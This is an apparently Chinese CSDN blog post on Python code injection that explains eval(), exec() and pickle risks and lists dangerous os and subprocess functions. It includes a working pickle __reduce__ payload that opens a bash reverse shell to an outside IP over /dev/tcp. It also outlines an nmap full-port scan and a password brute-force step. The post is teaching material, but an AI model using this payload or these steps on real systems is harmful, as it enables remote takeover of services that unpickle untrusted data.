Python安全编码 — 代码注入的实践与防范

本文探讨了代码注入攻击,特别是Python中的风险,如eval()和exec()函数。介绍了通过nmap扫描发现系统漏洞的过程,以及如何通过安全编码避免代码注入,包括使用ast.literal_eval()替代eval(),安全使用pickle,并强调了提高安全编码意识的重要性。
摘要由CSDN通过智能技术生成

什么是代码注入

代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。

Python中常见代码注入

能够执行一行任意字符串形式代码的eval()函数

eval("__import__('os').system('uname -a')")

能够执行字符串形式代码块的exec()函数

exec("__import__('os').system('uname -a')")

反序列化一个pickled对象时

pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

执行一个Python文件

execfile("testf.py")

pickle.loads()代码注入

某不安全的用法:

def load_session(self, session_id=None):
    if not session_id:
        session_id = self.gen_session_id()
        session = Session(session_id, self)
    else:
        try:
            data = self.backend.get(session_id)
            if data:
                data = pickle.loads(data)
                assert type(data) == dict
            else:
                data = {}
        except:
            data = {}
        session = Session(session_id, self, data)
return session

注入的代码:

>>> import os
>>> import pickle
>>> class exp(object):
...     def __reduce__(self):
...         s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
...         return (os.system, (s,))
...
>>> e = exp()
>>> e
<__main__.exp object at 0x7f734afa8790>
>>> k = pickle.dumps(e)
'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\'\np1\ntp2\nRp3\n.'
 
>>> pickle.loads(k)
0
>>>
[3]+  Stopped                 python

这些函数使用不当都很危险

os.system

os.popen*

os.spawn*

os.exec*

os.open

os.popen*

commands.*

subprocess.popen

popen2.*

一次模拟的实践

通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:

  1. nmap扫描公网IPnmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。扫描关键信息见附录。
  2. 暴力破解登录名密码test 12
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值